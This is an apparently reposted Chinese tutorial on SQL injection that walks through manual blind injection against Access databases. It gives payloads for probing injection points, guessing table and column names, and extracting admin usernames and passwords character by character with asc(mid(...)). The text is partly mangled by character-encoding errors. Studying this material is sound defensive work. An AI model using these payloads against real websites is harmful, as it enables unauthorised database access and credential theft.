SQL注入原理、常见思路之Access手工注入实战
注入攻擊
定義:注入攻擊發(fā)生在當不可信的數(shù)據(jù)作為命令或者查詢語句的一部分, 被發(fā)送給解釋器的時候。攻擊者發(fā)送的惡意數(shù)據(jù)可以欺騙解釋器, 以執(zhí)行計劃外的命令或者訪問未被授權(quán)的數(shù)據(jù)。
注入攻擊常見類型有:
SQL 注入
OS 命令注入
XML 注入
LDAP 注入
SQL 注入定義:當應用程序?qū)⒂脩糨斎氲膬?nèi)容, 拼接到SQL 語句中, 一起提交給數(shù)據(jù)庫執(zhí)行時, 就會產(chǎn)生SQL 注入威脅。
在這個URL中“?”后面跟接的是查詢參數(shù),
SQL結(jié)構(gòu)化查詢語言:select * from news where id = 45;
select * from news where id = 43;
id = 45來源于客戶的輸入,我們可以修改id = 43參數(shù)修改網(wǎng)頁的內(nèi)容。修改的參數(shù)如果拼接到SQL語句中被執(zhí)行,就說明這個地方存在注入漏洞。
注入點怎么判斷:
select * from news where id = 45 and 1 =1;
select * from news where id = 45 and 1 =2;
網(wǎng)頁并沒有報錯
看到數(shù)據(jù)庫出錯,說明SQL語句被執(zhí)行
逐字猜解法( 明小子、阿D 工具采用此方法)以下語法適用于Access數(shù)據(jù)庫
1 、判斷有無注入點
and 1 = 1
and 1 = 2
2 、猜表名( 一般的表的名稱無非是admin adminuser user pass password 等)
and (Select count(*) from 表名) < > 0
只要表存在,不為空就有數(shù)據(jù),上圖count為5,<>表示不等于0,5不等于0邏輯為真
and exists (select * from 表名)
name表不存在,數(shù)據(jù)庫報錯。我們要換一個角度,從開發(fā)者的角度去猜一個表名
說明存在admin這個表名,邏輯返回為真,網(wǎng)頁返回正常。
3 、猜列名
and (Select count(列名) from 表名) < > 0
and exists (select 列名from 表名)
username列名不存在
同樣的,我們判斷出在admin這個表里。存在admin字段、password字段
判斷admin這個字段只有1行。因為count等于1,1>0成立。1>1不成立
4、判斷內(nèi)容長度
and (select top 1 len(user_name )from admin)=5 #(user name 的長度= 5 , 正常則= 5 , 也可以用> , < 號去判斷)。top1 表示如果有10列結(jié)果只取第一列,mysql數(shù)據(jù)庫用limit
判斷用戶名admin長度為5,同樣的判斷password長度也為 5
5、截取字符串轉(zhuǎn)換為ascii 碼進行數(shù)值比較, 判斷ascii碼值:
and (select top 1 asc(mid(user_name,1,1)) from admin)=97 #判斷第一位( 97 代表的 ‘a’ 的 ascii 值)
and (select top 1 asc(mid(user_name,2,1)) from admin)=97 #判斷第二位,(user_name,1,1)前面的‘1’代表第幾位,后面的‘1’代表取幾個字符
知道內(nèi)容的長度,我們逐一去比較每一個字符
判斷出admin字段的第一位ASCII碼值為97,因為97>97不成立,97>96成立,所以在拼接SQL語句時>97頁面報錯。
同理admin字段的第二位ASCII碼為100,根據(jù)這樣的步驟我們就能猜出admin字段和password字段,獲得管理員登錄的賬號密碼。
總結(jié)
只要是和數(shù)據(jù)庫交互的查詢參數(shù),能猜到并被帶到數(shù)據(jù)庫中查詢的,我們都可以認為存在注入。如果數(shù)據(jù)傳遞不是URL,而是通過post表單,例如我們買東西生成的訂單號,不是自己輸入的,而是通過post傳遞到數(shù)據(jù)庫,我們可以在數(shù)據(jù)體中用burp抓包。一般存在注入點的地方包括輸入賬號密碼的表單,搜索功能等,只要是與數(shù)據(jù)庫交互的地方。
總結(jié)
以上是生活随笔為你收集整理的SQL注入原理、常见思路之Access手工注入实战的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: shadow dom一个最简单的例子
- 下一篇: 太吾绘卷天人之姿捏脸的技巧有哪些 高魅力